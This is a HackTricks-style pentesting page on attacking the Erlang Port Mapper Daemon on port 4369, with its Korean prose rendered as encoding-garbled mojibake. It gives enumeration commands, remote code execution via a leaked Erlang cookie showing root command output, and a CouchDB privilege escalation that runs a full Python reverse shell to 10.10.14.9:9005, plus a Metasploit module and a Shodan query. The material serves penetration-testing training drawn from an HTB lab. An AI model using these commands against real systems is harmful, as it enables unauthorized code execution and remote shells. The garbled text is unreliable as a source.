Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
**Erlang Port Mapper Daemon (epmd)**๋ ๋ถ์ฐ Erlang ์ธ์คํด์ค์ ์กฐ์ ์๋ก ์์ฉํฉ๋๋ค. ์ด๋ ๊ธฐ๊ณ ์ฃผ์์ ๊ธฐํธ ๋ ธ๋ ์ด๋ฆ์ ๋งคํํ๋ ์ญํ ์ ํ๋ฉฐ, ๋ณธ์ง์ ์ผ๋ก ๊ฐ ๋ ธ๋ ์ด๋ฆ์ด ํน์ ์ฃผ์์ ์ฐ๊ฒฐ๋๋๋ก ๋ณด์ฅํฉ๋๋ค. epmd์ ์ด ์ญํ ์ ๋คํธ์ํฌ๋ฅผ ํตํด ์๋ก ๋ค๋ฅธ Erlang ๋ ธ๋ ๊ฐ์ ์ํํ ์ํธ ์์ฉ๊ณผ ํต์ ์ ๋งค์ฐ ์ค์ํฉ๋๋ค.
๊ธฐ๋ณธ ํฌํธ: 4369
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
๊ธฐ๋ณธ์ ์ผ๋ก RabbitMQ ๋ฐ CouchDB ์ค์น์์ ์ฌ์ฉ๋ฉ๋๋ค.
์ด๊ฑฐ
์๋
echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369
#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses
์๋ํ
nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
| epmd-info:
| epmd_port: 4369
| nodes:
| bigcouch: 11502
| freeswitch: 8031
| ecallmgr: 11501
| kazoo_apps: 11500
|_ kazoo-rabbitmq: 25672
Erlang Cookie RCE
Remote Connection
๋ง์ฝ ์ธ์ฆ ์ฟ ํค๋ฅผ ์ ์ถํ ์ ์๋ค๋ฉด, ํธ์คํธ์์ ์ฝ๋๋ฅผ ์คํํ ์ ์์ต๋๋ค. ์ผ๋ฐ์ ์ผ๋ก ์ด ์ฟ ํค๋ ~/.erlang.cookie์ ์์นํ๋ฉฐ, erlang์ด ์ฒ์ ์์ํ ๋ ์์ฑ๋ฉ๋๋ค. ์์ ๋๊ฑฐ๋ ์๋์ผ๋ก ์ค์ ๋์ง ์์ ๊ฒฝ์ฐ, ๊ธธ์ด๊ฐ 20์์ธ [A:Z]์ ๋ฌด์์ ๋ฌธ์์ด์
๋๋ค.
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
Eshell V8.1 (abort with ^G)
At last, we can start an erlang shell on the remote system.
(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"
๋ ๋ง์ ์ ๋ณด๋ https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/์์ ํ์ธํ ์ ์์ต๋๋ค.
์ ์๋ ์ฟ ํค๋ฅผ ๋ธ๋ฃจํธํฌ์คํ๋ ํ๋ก๊ทธ๋จ๋ ๊ณต์ ํฉ๋๋ค:
๋ก์ปฌ ์ฐ๊ฒฐ
์ด ๊ฒฝ์ฐ ์ฐ๋ฆฌ๋ CouchDB๋ฅผ ์ ์ฉํ์ฌ ๋ก์ปฌ์์ ๊ถํ์ ์์น์ํฌ ๊ฒ์ ๋๋ค:
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
์์ ๋ https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution์์ ๊ฐ์ ธ์์ต๋๋ค.
Canape HTB ๋จธ์ ์ ์ฌ์ฉํ์ฌ ์ด ์ทจ์ฝ์ ์ ์
์ฉํ๋ ๋ฐฉ๋ฒ์ ์ฐ์ตํ ์ ์์ต๋๋ค.
Metasploit
#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce
Shodan
port:4369 "at port"
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


